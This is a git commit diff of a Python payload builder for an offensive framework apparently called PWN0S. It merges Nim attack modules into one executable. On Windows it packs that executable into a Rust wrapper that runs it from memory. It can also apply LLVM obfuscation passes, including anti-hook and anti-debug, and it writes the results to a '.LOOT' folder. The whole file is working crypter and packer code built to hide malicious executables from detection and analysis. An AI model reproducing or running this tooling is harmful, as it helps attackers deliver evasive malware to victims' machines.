Version 2

This commit is contained in:
Sarwar 🧃
2025-09-06 21:11:42 +05:00
parent 8613df6c1f
commit 28af278de7
33 changed files with 2512 additions and 2133 deletions

View File

@ -1,31 +1,255 @@
import os
import subprocess
import sys
import tempfile
from pathlib import Path
#!/usr/bin/env python3
import argparse
from pathlib import Path
import sys
import os
import shutil
import re
import shlex
import subprocess
import tempfile
def compile_nim(nim_file, output_exe, os_name, arch):
output_exe = Path(output_exe).resolve()
print(f"[*] Compiling Nim -> {os_name}:{arch}")
def compile_go(go_path, output_exe):
env = os.environ.copy()
env["GOOS"] = "windows"
env["GOARCH"] = "amd64"
result = subprocess.run(["go", "build", "-o", output_exe, go_path], env=env)
if result.returncode != 0 or not os.path.isfile(output_exe):
print(f"[Error] Go build failed for {go_path}")
nim_cmd = [
"nim", "c",
"-d:release",
"-d:ssl",
]
if os_name == "windows":
if sys.platform == "darwin":
nim_cmd.append("-d:mingw")
nim_cmd.append(f"--cpu:{arch}")
else:
nim_cmd.append("--os:windows")
nim_cmd.append(f"--cpu:{arch}")
elif os_name == "linux":
nim_cmd.append("--os:linux")
nim_cmd.append(f"--cpu:{arch}")
elif os_name == "macos":
nim_cmd.append("--os:macosx")
nim_cmd.append(f"--cpu:{arch}")
nim_cmd.append(f'--out:{output_exe}')
nim_cmd.append(str(nim_file))
print(f"[*] Running Nim compile command: {' '.join(shlex.quote(arg) for arg in nim_cmd)}")
try:
result = subprocess.run(nim_cmd, check=True, capture_output=True, text=True)
print("[+] Nim compiler output:")
print(result.stdout)
if result.stderr:
print("[+] Nim compiler errors:")
print(result.stderr)
except subprocess.CalledProcessError as e:
print(f"[Error] Nim compilation failed with exit code {e.returncode}.")
print("--- stdout ---")
print(e.stdout)
print("--- stderr ---")
print(e.stderr)
sys.exit(1)
print(f"Built {output_exe}")
except FileNotFoundError:
print("[Error] 'nim' command not found. Please ensure Nim is installed and in your PATH.")
sys.exit(1)
if not output_exe.exists():
print(f"[Error] Nim compiler finished, but output file was not found at: {output_exe}")
sys.exit(1)
print(f"[+] Built Nim executable: {output_exe}")
return output_exe
def generate_rust_memexec(go_exe_path, output_exe, embed_exe_path=None):
with open(go_exe_path, "rb") as f:
go_bytes = f.read()
go_bytes_array = ','.join(str(b) for b in go_bytes)
embed_code = ""
def normalize_imports(lines):
"""Normalize Nim import statements by splitting comma-separated imports."""
result = []
for line in lines:
s = line.strip()
if s.startswith("import "):
mods = s[len("import "):].split(",")
for m in mods:
result.append("import " + m.strip())
else:
result.append(line.rstrip("\n"))
return result
def extract_main_proc(nim_content):
"""Extract the content of proc main(), normalizing its indentation."""
lines = nim_content.splitlines()
main_content = []
in_main = False
proc_indent_level = 0
base_content_indent = -1
for line in lines:
stripped_line = line.strip()
if stripped_line.startswith("proc main()"):
in_main = True
proc_indent_level = len(line) - len(line.lstrip())
continue
if in_main:
current_indent = len(line) - len(line.lstrip())
if current_indent <= proc_indent_level and stripped_line and not line.isspace():
in_main = False
continue
if stripped_line:
if base_content_indent == -1:
base_content_indent = current_indent
relative_indent = current_indent - base_content_indent
main_content.append(" " * relative_indent + stripped_line)
return main_content
def apply_options_with_regex(content, options):
"""
Applies build options to the Nim source content using regex substitution.
It looks for patterns like:
let/const/var optionName = "default value"
let/const/var optionName = someFunc("default value")
"""
if not options:
return content
for option in options:
key, value = option.split("=", 1)
escaped_value = value.replace('\\', '\\\\').replace('"', '\\"')
pattern = re.compile(r'((?:let|const|var)\s+' + re.escape(key) + r'\s*=\s*(?:[a-zA-Z0-9_]+\()?)".*?"', re.DOTALL)
content = pattern.sub(r'\1"' + escaped_value + '"', content, count=1)
return content
def merge_nim_modules(nim_files, out_dir: Path, options=None):
"""Merge multiple Nim modules into a single file, deduplicating imports and combining proc main()."""
if len(nim_files) < 2:
print("[Error] At least two Nim files must be provided for merging.")
sys.exit(1)
print(f"[*] Merging modules: {nim_files}")
loot_dir = out_dir
loot_dir.mkdir(parents=True, exist_ok=True)
out_path = loot_dir / "combined.nim"
merged_imports = set()
merged_code = []
main_contents = []
for f in nim_files:
fpath = Path(f)
if not fpath.is_file():
print(f"[Error] Nim file not found: {f}")
sys.exit(1)
print(f"[*] Reading module: {f}")
with open(f, "r", encoding="utf-8") as fh:
content = fh.read()
content = apply_options_with_regex(content, options)
main_contents.append(extract_main_proc(content))
lines = content.splitlines()
in_main_proc = False
main_proc_indent = -1
in_when_block = False
when_block_indent = -1
in_gorge_proc = False
for line in lines:
stripped = line.strip()
if in_main_proc and stripped and (len(line) - len(line.lstrip()) <= main_proc_indent):
in_main_proc = False
if in_when_block and stripped and (len(line) - len(line.lstrip()) <= when_block_indent):
in_when_block = False
if in_gorge_proc and stripped and (len(line) - len(line.lstrip()) == 0):
in_gorge_proc = False
if in_main_proc or in_when_block:
continue
if stripped.startswith("proc main()"):
in_main_proc = True
main_proc_indent = len(line) - len(line.lstrip())
continue
if stripped.startswith("when isMainModule"):
in_when_block = True
when_block_indent = len(line) - len(line.lstrip())
continue
if stripped.startswith("import "):
mods = stripped[len("import "):].split(",")
for m in mods:
merged_imports.add("import " + m.strip())
else:
merged_code.append(line.rstrip("\n"))
final_code = []
if merged_code:
final_code.append(merged_code[0])
for i in range(1, len(merged_code)):
if merged_code[i].strip() == "" and merged_code[i-1].strip() == "":
continue
final_code.append(merged_code[i])
with open(out_path, "w", encoding="utf-8") as fh:
fh.write("\n".join(sorted(merged_imports)))
fh.write("\n\n")
fh.write("\n".join(final_code))
fh.write("\n\n")
fh.write("proc main() =\n")
for main_content in main_contents:
if not main_content:
continue
fh.write(" block:\n")
for line in main_content:
fh.write(" " + line + "\n")
fh.write("\n")
fh.write("when isMainModule:\n")
fh.write(" main()\n")
print(f"[+] Wrote merged Nim file: {out_path}")
return out_path
def patch_nim_file(nim_file: Path, options: list):
"""Injects const declarations into a single Nim file."""
if options:
print(f"[*] Patching {nim_file.name} with options: {options}")
content = nim_file.read_text(encoding="utf-8")
content = apply_options_with_regex(content, options)
nim_file.write_text(content, encoding="utf-8")
def parse_target(target_str):
"""Parse the target string into OS and architecture."""
try:
os_name, arch = target_str.split(":")
return os_name, arch
except ValueError:
print("[Error] Target must be in format os:arch, e.g. windows:amd64")
sys.exit(1)
def generate_rust_wrapper(nim_exe, final_exe, target_os, target_arch, embed_exe=None, obfuscate=False, ollvm=None):
"""Generate a Rust wrapper for the Nim executable using in-memory execution."""
final_exe_path = Path(final_exe)
package_name = final_exe_path.stem
if obfuscate:
docker_path = shutil.which("docker")
if not docker_path:
print("[Error] Docker not found. Install Docker to use Obfuscator-LLVM.")
sys.exit(1)
print(f"[*] Found docker at: {docker_path}")
with open(nim_exe, 'rb') as f:
nim_payload_bytes = f.read()
nim_payload_array = ','.join(str(b) for b in nim_payload_bytes)
embed_decl = ""
if embed_exe_path:
with open(embed_exe_path, "rb") as f:
embed_code = ""
if embed_exe:
with open(embed_exe, "rb") as f:
embed_bytes = f.read()
embed_bytes_array = ','.join(str(b) for b in embed_bytes)
embed_decl = f"const EMBEDDED_EXE: &[u8] = &[{embed_bytes_array}];"
@ -35,258 +259,158 @@ def generate_rust_memexec(go_exe_path, output_exe, embed_exe_path=None):
memexec::memexec_exe(EMBEDDED_EXE).expect("Failed to execute embedded EXE");
}
"""
rust_code = f'''
use memexec;
{embed_decl}
const GO_PAYLOAD: &[u8] = &[{go_bytes_array}];
const NIM_PAYLOAD: &[u8] = &[{nim_payload_array}];
fn main() {{
{embed_code} unsafe {{
memexec::memexec_exe(GO_PAYLOAD).expect("Failed to execute PE from memory");
{embed_code}
unsafe {{
memexec::memexec_exe(NIM_PAYLOAD).expect("Failed to execute Nim payload from memory");
}}
}}
'''
temp_dir = tempfile.mkdtemp(prefix="memexec_")
try:
src_dir = Path(temp_dir) / "src"
src_dir.mkdir(parents=True, exist_ok=True)
with tempfile.TemporaryDirectory() as tmpdir:
project_dir = Path(tmpdir) / "rust_project"
src_dir = project_dir / "src"
src_dir.mkdir(parents=True)
main_rs = src_dir / "main.rs"
main_rs.write_text(rust_code)
cargo_toml = Path(temp_dir) / "Cargo.toml"
cargo_toml.write_text("""
print(f"[*] Wrote Rust wrapper source: {main_rs}")
cargo_toml_content = f"""
[package]
name = "payload"
name = "{package_name}"
version = "0.1.0"
edition = "2018"
[dependencies]
memexec = { git = "https://github.com/DmitrijVC/memexec", version = "0.3" }
""")
cargo_config_dir = Path(temp_dir) / ".cargo"
cargo_config_dir.mkdir(exist_ok=True)
config_toml = cargo_config_dir / "config.toml"
config_toml.write_text("""
[target.x86_64-pc-windows-gnu]
linker = "x86_64-w64-mingw32-gcc"
""")
loot_dir = Path.cwd() / ".LOOT"
loot_dir.mkdir(exist_ok=True)
final_exe = loot_dir / output_exe
if os.environ.get('PWNOS_DOCKER_OBFUSCATE', '0') == '1':
docker_image = "ghcr.io/joaovarelas/obfuscator-llvm-16.0:latest"
user_project_dir = str(temp_dir)
memexec = {{ git = "https://github.com/DmitrijVC/memexec", version = "0.3" }}
"""
(project_dir / "Cargo.toml").write_text(cargo_toml_content.strip())
rust_target = {
("windows", "amd64"): "x86_64-pc-windows-gnu",
("windows", "arm64"): "aarch64-pc-windows-gnu",
("linux", "amd64"): "x86_64-unknown-linux-gnu",
("linux", "arm64"): "aarch64-unknown-linux-gnu",
("macos", "amd64"): "x86_64-apple-darwin",
("macos", "arm64"): "aarch64-apple-darwin"
}[(target_os, target_arch)]
cargo_cmd = [
"cargo", "build", "--release", "--target", rust_target
]
if obfuscate:
project_path = str(project_dir)
volume_mapping = f"{project_path}:/projects"
if ollvm:
for pass_name in ollvm:
cargo_cmd.append(f"-Cllvm-args=-enable-{pass_name}")
else:
cargo_cmd.append("-Cllvm-args=-enable-allobf")
docker_cmd = [
"docker", "run", "--rm",
"--platform", "linux/amd64",
"-e", "CARGO_BUILD_JOBS=1",
"-v", f"{user_project_dir}:/projects/",
"-w", "/projects/",
docker_image,
"cargo", "rustc",
"--target", "x86_64-pc-windows-gnu",
"--release",
"--",
"-Cdebuginfo=0",
"-Cstrip=symbols",
"-Cpanic=abort",
"-Copt-level=3",
"-Cllvm-args=-enable-acdobf",
"-Cllvm-args=-enable-antihook",
"-Cllvm-args=-enable-adb",
"-Cllvm-args=-enable-bcfobf",
"-Cllvm-args=-enable-splitobf",
"-Cllvm-args=-enable-subobf",
"-Cllvm-args=-enable-fco",
"-Cllvm-args=-enable-constenc"
"-v", volume_mapping,
"-w", "/projects",
"ghcr.io/joaovarelas/obfuscator-llvm-16.0:latest",
*cargo_cmd
]
result = subprocess.run(docker_cmd)
if result.returncode != 0:
print("[Error] Rust build/obfuscation failed")
print(f"[*] Running Dockerized cargo rustc command: {' '.join(docker_cmd)}")
try:
subprocess.run(docker_cmd, check=True, capture_output=True, text=True)
except subprocess.CalledProcessError as e:
print(f"[Error] Dockerized Rust compilation failed: {e}")
print(f"Stdout: {e.stdout}")
print(f"Stderr: {e.stderr}")
sys.exit(1)
built_exe = Path(temp_dir) / "target" / "x86_64-pc-windows-gnu" / "release" / "payload.exe"
os.replace(built_exe, final_exe)
print(f"Final EXE created at: {final_exe}")
else:
result = subprocess.run([
"cargo", "build", "--release", "--target", "x86_64-pc-windows-gnu"
], cwd=temp_dir)
if result.returncode != 0:
print("[Error] Native Rust build failed")
print(f"[*] Running local cargo rustc command: {' '.join(cargo_cmd)}")
try:
subprocess.run(cargo_cmd, check=True, cwd=project_dir, capture_output=True, text=True)
except subprocess.CalledProcessError as e:
print(f"[Error] Rust compilation failed: {e}")
print(f"Stdout: {e.stdout}")
print(f"Stderr: {e.stderr}")
sys.exit(1)
except FileNotFoundError:
print("[Error] 'cargo' command not found. Please ensure Rust is installed and in your PATH.")
sys.exit(1)
built_exe = Path(temp_dir) / "target" / "x86_64-pc-windows-gnu" / "release" / "payload.exe"
os.replace(built_exe, final_exe)
print(f"Final EXE created at: {final_exe}")
finally:
shutil.rmtree(temp_dir, ignore_errors=True)
def merge_go_modules(go_files, merged_go_path):
"""
Merges multiple Go files into one, so their main logic runs in order.
Writes the merged Go file to merged_go_path.
Automatically removes unused imports.
"""
all_imports = set()
func_bodies = []
main_funcs = []
used_names = set()
func_name_to_body = {}
def unique_func_name(base, used):
i = 1
name = base
while name in used:
name = f"{base}_{i}"
i += 1
used.add(name)
return name
def extract_functions(src):
"""Extract all top-level functions from Go source code using a line-based parser."""
funcs = []
lines = src.splitlines()
in_func = False
brace_count = 0
func_lines = []
func_name = None
for idx, line in enumerate(lines):
if not in_func:
match = re.match(r'func\s+([\w]+)\s*\(', line)
if match:
in_func = True
func_name = match.group(1)
func_lines = [line]
brace_count = line.count('{') - line.count('}')
if brace_count == 0 and line.rstrip().endswith('}'):
funcs.append((func_name, '\n'.join(func_lines)))
in_func = False
func_lines = []
func_name = None
elif in_func:
func_lines.append(line)
brace_count += line.count('{') - line.count('}')
if brace_count == 0:
funcs.append((func_name, '\n'.join(func_lines)))
in_func = False
func_lines = []
func_name = None
return funcs
for idx, go_file in enumerate(go_files):
with open(go_file, 'r') as f:
src = f.read()
imports = set()
import_block = re.findall(r'import \((.*?)\)', src, re.DOTALL)
if import_block:
for line in import_block[0].splitlines():
line = line.strip().strip('"')
if line:
imports.add(line)
else:
single_imports = re.findall(r'import\s+"([^"]+)"', src)
imports.update(single_imports)
all_imports.update(imports)
for func_name, body in extract_functions(src):
if func_name == "main":
new_name = unique_func_name(f"main_{os.path.splitext(os.path.basename(go_file))[0]}", used_names)
body = re.sub(r'func\s+main\s*\(', f'func {new_name}(', body, count=1)
main_funcs.append((new_name, body))
else:
func_bodies.append(body.strip())
func_name_to_body[func_name] = body.strip()
merged_code = 'package main\n\n'
if all_imports:
if len(all_imports) > 1:
merged_code += 'import (\n'
for imp in sorted(all_imports):
merged_code += f'\t"{imp}"\n'
merged_code += ')\n\n'
else:
merged_code += f'import "{list(all_imports)[0]}"\n\n'
for helper in func_bodies:
merged_code += helper + '\n\n'
for func_name, main_body in main_funcs:
merged_code += main_body.strip() + '\n\n'
merged_code += 'func main() {\n'
for func_name, _ in main_funcs:
merged_code += f'\t{func_name}()\n'
merged_code += '}\n'
merged_code = remove_unused_imports(merged_code)
with open(merged_go_path, 'w') as f:
f.write(merged_code)
def remove_unused_imports(go_code):
"""
Remove unused imports from a Go source string.
"""
import_block = re.search(r'import \((.*?)\)', go_code, re.DOTALL)
if not import_block:
single_imports = re.findall(r'import\s+"([^"]+)"', go_code)
for imp in single_imports:
if not re.search(r'\b' + re.escape(imp.split('/')[-1]) + r'\b', go_code.split('import')[1]):
go_code = re.sub(r'import\s+"' + re.escape(imp) + r'"\n', '', go_code)
return go_code
block = import_block.group(1)
imports = [line.strip().strip('"') for line in block.splitlines() if line.strip()]
used_imports = []
for imp in imports:
symbol = imp.split('/')[-1]
if re.search(r'\b' + re.escape(symbol) + r'\b', go_code.split('import')[1]):
used_imports.append(imp)
if used_imports:
new_block = 'import (\n' + ''.join([f'\t"{imp}"\n' for imp in used_imports]) + ')'
go_code = re.sub(r'import \((.*?)\)', new_block, go_code, flags=re.DOTALL)
else:
go_code = re.sub(r'import \((.*?)\)\n', '', go_code, flags=re.DOTALL)
return go_code
output_binary_name = f"{package_name}.exe" if target_os == "windows" else package_name
compiled_binary = project_dir / "target" / rust_target / "release" / output_binary_name
if not compiled_binary.exists():
print(f"[Error] Compiled binary not found at: {compiled_binary}")
sys.exit(1)
shutil.move(str(compiled_binary), final_exe_path)
print(f"[+] Final executable: {final_exe_path}")
def main():
parser = argparse.ArgumentParser(description="Go-to-memexec EXE builder for PWN0S")
parser.add_argument("--go_file", type=str, help="Path to Go file")
parser.add_argument("--output_exe", type=str, help="Output EXE name (in .LOOT)")
parser.add_argument("--embed", type=str, help="Path to EXE to embed and run before this module")
parser.add_argument("--go-only", action="store_true", help="Only build Go file to EXE, no Rust wrapping")
parser.add_argument("--merge", nargs='+', help="List of Go files to merge and run in order (last arg is output exe)")
parser.add_argument("--obfuscate", action="store_true", help="Enable obfuscation (use Docker/Rust)")
parser = argparse.ArgumentParser(description="Nim-to-EXE Builder")
parser.add_argument("--nim_file", type=str, help="Path to a single Nim file")
parser.add_argument("--merge", nargs="+", help="List of Nim modules to embed")
parser.add_argument("--output_exe", type=str, required=True, help="Output executable name")
parser.add_argument("--embed", type=str, help="Path to additional exe to embed & run")
parser.add_argument("--nim-only", action="store_true", help="Only build Nim exe (no Rust)")
parser.add_argument("--obfuscate", action="store_true", help="Enable Rust OLLVM obfuscation")
parser.add_argument("--ollvm", nargs="*", help="OLLVM passes: bcfobf subobf constenc ...")
parser.add_argument("--target", type=str, default="windows:amd64", help="Target triple (os:arch)")
parser.add_argument("--option", action="append", help="Option to inject as const (e.g., key=value)")
args = parser.parse_args()
if args.obfuscate:
os.environ['PWNOS_DOCKER_OBFUSCATE'] = '1'
else:
os.environ['PWNOS_DOCKER_OBFUSCATE'] = '0'
if args.merge:
*go_files, output_exe = args.merge
with tempfile.TemporaryDirectory() as tmpdir:
merged_go = os.path.join(tmpdir, "merged.go")
merge_go_modules(go_files, merged_go)
go_exe = os.path.join(tmpdir, "payload.exe")
compile_go(merged_go, go_exe)
if args.obfuscate:
generate_rust_memexec(go_exe, output_exe)
else:
loot_dir = Path.cwd() / ".LOOT"
loot_dir.mkdir(exist_ok=True)
final_exe = loot_dir / output_exe
os.replace(go_exe, final_exe)
print(f"Final EXE created at: {final_exe}")
return
if args.go_only:
if not args.go_file or not args.output_exe:
print("--go_file and --output_exe are required with --go-only")
sys.exit(1)
compile_go(args.go_file, args.output_exe)
return
else:
if not args.go_file or not args.output_exe:
print("--go_file and --output_exe are required for default build path")
sys.exit(1)
with tempfile.TemporaryDirectory() as tmpdir:
go_exe = os.path.join(tmpdir, "payload.exe")
compile_go(args.go_file, go_exe)
if args.obfuscate:
generate_rust_memexec(go_exe, args.output_exe, embed_exe_path=args.embed)
else:
loot_dir = Path.cwd() / ".LOOT"
loot_dir.mkdir(exist_ok=True)
final_exe = loot_dir / args.output_exe
os.replace(go_exe, final_exe)
print(f"Final EXE created at: {final_exe}")
if args.merge and args.nim_file:
print("[Error] Cannot specify both --merge and --nim_file options.")
sys.exit(1)
if not args.merge and not args.nim_file:
print("[Error] Must specify either --merge or --nim_file.")
sys.exit(1)
target_os, target_arch = parse_target(args.target)
final_exe_path_str = args.output_exe
if target_os == "windows" and not final_exe_path_str.lower().endswith(".exe"):
final_exe_path_str += ".exe"
print(f"[+] Corrected output name to: {Path(final_exe_path_str).name}")
final_exe = Path(final_exe_path_str).resolve()
final_exe.parent.mkdir(parents=True, exist_ok=True)
with tempfile.TemporaryDirectory() as tmpdir:
tmp_dir = Path(tmpdir)
if args.merge:
loot_dir = final_exe.parent
launcher_source = merge_nim_modules(args.merge, loot_dir, options=args.option)
else:
launcher_source = Path(args.nim_file)
patch_nim_file(launcher_source, args.option)
suffix = ".exe" if target_os == "windows" else ""
nim_exe_tmp = tmp_dir / f"{final_exe.stem}_nim_payload{suffix}"
compile_nim(launcher_source, nim_exe_tmp, target_os, target_arch)
if not args.nim_only and target_os == 'windows':
print("[*] Generating Rust wrapper to embed Nim payload.")
generate_rust_wrapper(
str(nim_exe_tmp),
final_exe,
target_os, target_arch,
embed_exe=args.embed,
obfuscate=args.obfuscate,
ollvm=args.ollvm
)
else:
if not args.nim_only and target_os != 'windows':
print(f"[*] Skipping Rust wrapper for non-Windows target ({target_os}).")
shutil.move(str(nim_exe_tmp), final_exe)
print(f"[+] Final executable: {final_exe}")
if __name__ == "__main__":
main()